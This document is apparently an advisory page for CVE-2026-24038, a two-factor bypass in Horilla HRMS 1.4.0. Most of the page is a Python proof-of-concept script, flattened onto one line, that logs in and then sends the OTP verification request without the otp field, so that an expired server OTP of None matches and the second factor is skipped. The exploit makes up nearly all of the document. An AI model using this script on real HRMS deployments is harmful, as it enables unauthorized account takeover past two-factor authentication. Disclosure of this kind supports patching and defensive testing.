CVE-2026-24038 Horilla HRMS OTP双因素认证绕过漏洞

import requests import json # CVE-2026-24038 PoC - OTP Bypass in Horilla HRMS 1.4.0 # This PoC demonstrates bypassing 2FA by omitting the OTP field TARGET_URL = "https://target-website.com" LOGIN_ENDPOINT = f"{TARGET_URL}/otp/verify/" USERNAME = "admin" def exploit_otp_bypass(): """ Exploit the OTP bypass vulnerability by omitting the otp field. When OTP expires, server returns None, and if attacker also omits the otp field, user_otp == otp evaluates to True (None == None). """ # Step 1: Normal login to trigger OTP generation login_data = { "username": USERNAME, "password": "password123" } session = requests.Session() response = session.post(f"{TARGET_URL}/auth/login/", data=login_data) # Step 2: Wait for OTP to expire (or exploit immediately) # The vulnerability works when OTP expires and server returns None # Step 3: Send OTP verification request WITHOUT the otp field # This causes user_otp to be None, matching the expired server OTP exploit_data = { "username": USERNAME # Note: otp field is intentionally omitted } response = session.post(LOGIN_ENDPOINT, data=exploit_data) # Step 4: Check if authentication was successful if response.status_code == 200 and "dashboard" in response.text.lower(): print("[+] OTP Bypass Successful! Authenticated without valid OTP") return True else: print("[-] OTP Bypass Failed") return False if __name__ == "__main__": print("CVE-2026-24038 - Horilla HRMS OTP Bypass PoC") print("Target: Horilla HRMS <= 1.4.0") exploit_otp_bypass()